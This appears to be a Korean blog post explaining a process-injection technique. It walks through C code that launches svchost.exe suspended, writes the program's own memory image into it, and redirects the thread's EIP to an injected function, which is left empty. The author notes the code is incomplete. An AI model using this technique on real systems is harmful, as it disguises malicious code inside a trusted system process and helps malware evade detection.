코드 인젝션의 코드를 간략히 설명해보면
1. 인젝션 할 코드(기계어)도 내 프로세스 메모리에 올라간다.
2. 인젝션 대상 프로세스를 suspend로 생성하고
3. 내 프로세스 메모리를 모두 읽어서 인젝션 대상 프로세스에 쓴다.
4. context 구조체로 eip를 injectedCode() 함수시작로 맞춰주고
5. 인젝션 당한 프로세스를 실행 시킨다.
*injectedCode() 는 내 프로세스에 맞게 컴파일된 기계어이므로 함수의 주소를 못찾아갈수도 있기 때문에 dll을 동적으로 로드해 주어야한다.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void injectionCode(){ | |
//인젝션 할 코드 | |
} | |
void main(){ | |
strcpy(CommandLine, "c:\\windows\\system32"); | |
strcat(CommandLine, "\\svchost.exe"); | |
//인젝션 할 깡통 프로세스 생성 | |
if ( CreateProcessA(0, CommandLine, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &StartupInfo, &ProcessInformation) ){ | |
//내 프로세스의 메모리를 읽을 수 있게 한다. | |
lpAddress = VirtualAlloc(0, 110592, 0x3000, PAGE_READWRITE); | |
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)0x00400000, lpAddress, 110592, &dwSize); //나를 읽는다. | |
//인젝션 할 깡통 프로세스에 쓸수 있게 메모리 할당 | |
lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, (LPVOID)0x00400000, dwSize, 0x3000, PAGE_EXECUTE_READWRITE); | |
//깡통 프로세스에 나를 쓴다. | |
WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, lpAddress, dwSize, 0); | |
VirtualFree(lpAddress, 110592, 0x8000); //나를 읽은 메모리 해제 | |
Context.ContextFlags = CONTEXT_ALL; //모든 reg 다 갖구오게. | |
GetThreadContext(ProcessInformation.hThread, &Context); //깡통 프로세스에서 context구조체 가져다 | |
Context.Eip = (DWORD)injectedCode; //injectionCode로 eip 맞춰준다. | |
SetThreadContext(ProcessInformation.hThread, &Context); //context구조체 넣고 | |
ResumeThread(ProcessInformation.hThread); //깡통 프로세스(injectedCode()) 실행. | |
printf("%p", injectedCode); | |
//getchar(); | |
} | |
} |
이 코드를 실행하면 svchost.exe라는 프로세스가 생성되어 injectedCode() 함수 안의 코드를 실행 한다.(위의 코드는 선언등이 빠져 실행되지 않는다.)
0 개의 댓글:
댓글 쓰기